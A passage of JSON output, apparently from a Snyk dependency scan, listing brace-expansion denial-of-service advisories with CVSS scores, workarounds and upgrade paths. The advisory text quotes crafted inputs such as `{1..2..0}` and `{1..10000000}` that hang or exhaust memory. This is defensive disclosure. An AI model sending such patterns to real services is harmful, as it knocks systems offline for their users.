"primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", 